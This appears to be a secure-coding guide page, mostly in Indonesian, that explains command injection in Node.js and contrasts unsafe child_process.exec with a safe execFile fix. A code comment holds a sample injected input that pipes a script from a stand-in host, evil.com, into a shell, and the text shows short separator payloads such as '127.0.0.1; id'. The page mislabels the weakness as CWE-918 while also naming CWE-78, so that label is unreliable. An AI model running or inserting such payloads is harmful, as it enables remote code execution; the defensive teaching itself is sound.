flawopen.com/command-injection/Javascript

● CWE-918 · Kritis
Riset Keamanan · FlawOpen

Command Injection in JavaScript

Learn how to fix Command Injection (CWE-78) in JavaScript & Node.js. Side-by-side vulnerable vs secure code examples for child_process.execFile(), spawn(), and exec hazards.

💡 Penjelasan Sederhana (ELI5)

Bayangkan meminta asisten kantor untuk mencetak dokumen bernama 'laporan.pdf'. Injeksi perintah terjadi saat seseorang memberikan nama 'laporan.pdf; whoami', dan asisten menyerahkan seluruh catatan tersebut ke terminal loket, mencetak dokumen sekaligus membaca lencana administrator.

Konsep Kunci & Istilah

Web Application Security
Komponen arsitektur utama yang terpengaruh oleh CWE-918.
CWE-918
Klasifikasi standar Common Weakness Enumeration (CWE) untuk command-injection-javascript.
Defense-in-Depth
Verifikasi rekayasa berlapis dan isolasi batas waktu proses (runtime).

Alur Serangan Langkah demi Langkah

Step 1

Penerimaan Parameter Tidak Tepercaya

Aplikasi menerima input nama host diagnostik atau nama file langsung dari permintaan HTTP.

Step 2

Penggabungan String Shell Tidak Aman

Backend merangkai perintah shell menggunakan penggabungan string mentah alih-alih vektor argumen terisolasi.

Step 3

Injeksi Pemisah Perintah

Penyerang menyisipkan karakter meta shell seperti ';', '&&', '|', atau backticks (misal: '127.0.0.1; id') untuk keluar dari konteks perintah.

Step 4

Eksekusi Subshell & Kompromi Host

Shell sistem operasi menjalankan perintah yang disuntikkan dengan hak akses penuh proses web server.

Kode Sumber: Rentan vs Aman

✕ IMPLEMENTASI RENTAN
// child_process.exec spawns a shell and parses metacharacters
const { exec } = require('child_process');

function convertImage(filename) {
  // Input: "avatar.png; curl http://evil.com/shell | sh"
  exec(`convert ${filename} -resize 100x100 out.png`, (err, stdout) => {
    console.log(stdout);
  });
}
✓ PERBAIKAN AMAN & KUAT
// child_process.execFile executes the binary directly without a shell
const { execFile } = require('child_process');

function convertImage(filename) {
  // filename is passed as a literal argument, never parsed as a shell command
  execFile('convert', [filename, '-resize', '100x100', 'out.png'], (err, stdout) => {
    console.log(stdout);
  });
}

Daftar Periksa Penguatan Sistem Rekayasa

References